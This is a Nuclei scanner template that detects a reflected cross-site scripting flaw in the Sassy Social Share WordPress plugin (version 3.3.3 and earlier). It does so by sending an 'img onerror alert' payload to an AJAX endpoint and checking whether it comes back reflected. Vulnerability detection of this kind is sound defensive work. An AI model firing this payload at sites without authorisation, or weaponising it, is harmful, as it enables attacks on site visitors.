nuclei-templates/vulnerabilities/wordpress/sassy-social-share.yaml

37 lines
1014 B
YAML

id: sassy-social-share-xss
info:
name: Sassy Social Share <= 3.3.3 - Cross-Site Scripting
author: Random_Robbie
severity: medium
description: |
AJAX endpoints which returns JSON data has no Content-Type header set, and uses default text/html. Any JSON that has HTML will be rendered as such.
reference:
- https://wpscan.com/vulnerability/4631519b-2060-43a0-b69b-b3d7ed94c705
tags: xss,wp,wpscan,wordpress,wp-plugin,sassy
requests:
- method: GET
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=heateor_sss_sharing_count&urls[%3Cimg%20src%3dx%20onerror%3dalert(document.domain)%3E]="
matchers-condition: and
matchers:
- type: word
part: body
words:
- '[{"<img src=x onerror=alert(document.domain)>":""}]'
- 'facebook'
- 'twitter'
condition: and
- type: word
part: header
words:
- 'application/json'
negative: true
- type: status
status:
- 200